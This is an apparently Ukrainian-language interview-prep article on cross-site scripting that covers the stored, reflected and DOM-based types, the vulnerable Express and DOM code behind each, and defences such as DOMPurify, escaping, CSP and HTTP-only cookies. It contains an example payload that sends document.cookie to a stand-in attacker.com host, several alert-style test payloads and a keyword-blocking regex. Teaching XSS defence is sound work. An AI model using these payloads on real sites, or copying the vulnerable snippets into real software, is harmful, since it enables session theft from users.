Skip to main content
Практика завдань

Що таке XSS і як його запобігти?

XSS (Cross-Site Scripting) - одна з найпоширеніших веб-вразливостей, де зловмисники впроваджують зловмисний JavaScript на веб-сторінки, які переглядають інші користувачі.

Типи XSS

1. Stored XSS (Збережений)

Зловмисний скрипт зберігається в базі даних і виконується коли користувачі переглядають сторінку.

javascript
// Вразливий код app.post('/comment', (req, res) => { const comment = req.body.comment; // Введення користувача db.save({ comment }); // Зберігається напряму! }); // Сторінка відображення app.get('/comments', (req, res) => { const comments = db.getAll(); res.send(` <div>${comments.map(c => c.comment).join('')}</div> `); // ❌ Виконується якщо comment містить <script> }); // Атакуючий payload <script> fetch('https://attacker.com/steal?cookie=' + document.cookie); </script>

2. Reflected XSS (Відображений)

Скрипт відображається з веб-сервера (параметр URL, введення форми).

javascript
// Вразливий пошук app.get('/search', (req, res) => { const query = req.query.q; res.send(`<h1>Результати для: ${query}</h1>`); // ❌ Відображається! }); // Атакуючий URL https://site.com/search?q=<script>alert(document.cookie)</script>

3. DOM-based XSS

Вразливість існує в клієнтському коді.

javascript
// Вразливий клієнтський код const params = new URLSearchParams(window.location.search); const name = params.get('name'); document.getElementById('greeting').innerHTML = `Привіт ${name}`; // ❌ // Атакуючий URL https://site.com?name=<img src=x onerror=alert(1)>

Методи запобігання

1. Санітизація введення

javascript
// Node.js з DOMPurify const createDOMPurify = require('dompurify'); const { JSDOM } = require('jsdom'); const window = new JSDOM('').window; const DOMPurify = createDOMPurify(window); app.post('/comment', (req, res) => { const comment = DOMPurify.sanitize(req.body.comment); db.save({ comment }); });

2. Екранування виводу

javascript
// Екранування HTML сутностей function escapeHtml(unsafe) { return unsafe .replace(/&/g, "&amp;") .replace(/</g, "&lt;") .replace(/>/g, "&gt;") .replace(/"/g, "&quot;") .replace(/'/g, "&#039;"); } app.get('/comments', (req, res) => { const comments = db.getAll(); const safe = comments.map(c => escapeHtml(c.comment)); res.send(`<div>${safe.join('')}</div>`); });

3. Автоекранування в React

jsx
// ✅ React автоматично екранує function Comment({ text }) { return <div>{text}</div>; // Автоматично екрановано! } // ❌ Небезпечно - обходить захист function UnsafeComment({ html }) { return <div dangerouslySetInnerHTML={{ __html: html }} />; } // ✅ Безпечно з санітизацією import DOMPurify from 'dompurify'; function SafeHtmlComment({ html }) { const clean = DOMPurify.sanitize(html); return <div dangerouslySetInnerHTML={{ __html: clean }} />; }

4. Content Security Policy (CSP)

javascript
// Express.js app.use((req, res, next) => { res.setHeader( 'Content-Security-Policy', "default-src 'self'; " + "script-src 'self' 'nonce-random123'; " + "style-src 'self' 'unsafe-inline'; " + "img-src 'self' data: https:;" ); next(); });
html
<!-- Використання nonce для вбудованих скриптів --> <script nonce="random123"> console.log('Дозволений скрипт'); </script>

5. HTTP-only Cookies

javascript
// Запобігання доступу JavaScript до cookies res.cookie('session', sessionId, { httpOnly: true, // Не може бути доступний через JavaScript secure: true, sameSite: 'strict' });

Реальний приклад

javascript
// Повний захист const express = require('express'); const helmet = require('helmet'); // Заголовки безпеки const DOMPurify = require('isomorphic-dompurify'); const app = express(); // 1. Заголовки безпеки app.use(helmet()); // 2. CSP app.use(helmet.contentSecurityPolicy({ directives: { defaultSrc: ["'self'"], scriptSrc: ["'self'", "'nonce-randomNonce'"], styleSrc: ["'self'", "'unsafe-inline'"] } })); // 3. Валідація введення const validateComment = (comment) => { if (typeof comment !== 'string') return false; if (comment.length > 1000) return false; if (/<script|javascript:|onerror=/i.test(comment)) return false; return true; }; // 4. Санітизація + екранування app.post('/api/comment', (req, res) => { const raw = req.body.comment; if (!validateComment(raw)) { return res.status(400).send('Невірне введення'); } const sanitized = DOMPurify.sanitize(raw); db.save({ comment: sanitized }); res.json({ success: true }); });

Тестування на XSS

Поширені тестові payloads:

html
<script>alert('XSS')</script> <img src=x onerror=alert('XSS')> <svg onload=alert('XSS')> javascript:alert('XSS') <iframe src="javascript:alert('XSS')">

Питання на співбесіді

  1. П: Яка різниця між XSS і CSRF? В: XSS впроваджує зловмисні скрипти для крадіжки даних. CSRF обманом змушує користувачів виконувати небажані дії. XSS атакує користувачів напряму, CSRF експлуатує автентифікацію.

  2. П: Чому React запобігає XSS за замовчуванням? В: React екранує всі значення, вбудовані в JSX перед рендерингом, перетворюючи небезпечні символи в безпечні HTML сутності.

  3. П: Чи може CSP повністю запобігти XSS? В: Ні, але значно зменшує ризик, обмежуючи джерела скриптів і запобігаючи вбудованим скриптам.

  4. П: Чи достатньо санітизації? В: Використовуйте багаторівневий захист: санітизація + екранування + CSP + валідація + HTTP-only cookies.

Найкращі практики

РОБІТЬ:

  • Екрануйте все введення користувача перед відображенням
  • Використовуйте фреймворки з вбудованим захистом (React, Angular)
  • Впроваджуйте Content Security Policy
  • Валідуйте введення на клієнті і сервері
  • Використовуйте HTTP-only cookies для чутливих даних
  • Санітизуйте rich text/HTML введення

НЕ РОБІТЬ:

  • Довіряйте будь-якому введенню користувача
  • Використовуйте dangerouslySetInnerHTML без санітизації
  • Покладайтеся лише на клієнтську валідацію
  • Вставляйте дані користувача напряму в HTML/JavaScript
  • Дозволяйте вбудовані скрипти в CSP якщо не абсолютно необхідно

Коротка відповідь

Для співбесіди
Premium

Коротка відповідь допоможе вам впевнено відповідати на цю тему під час співбесіди.

Дочитали статтю?
Практика завдань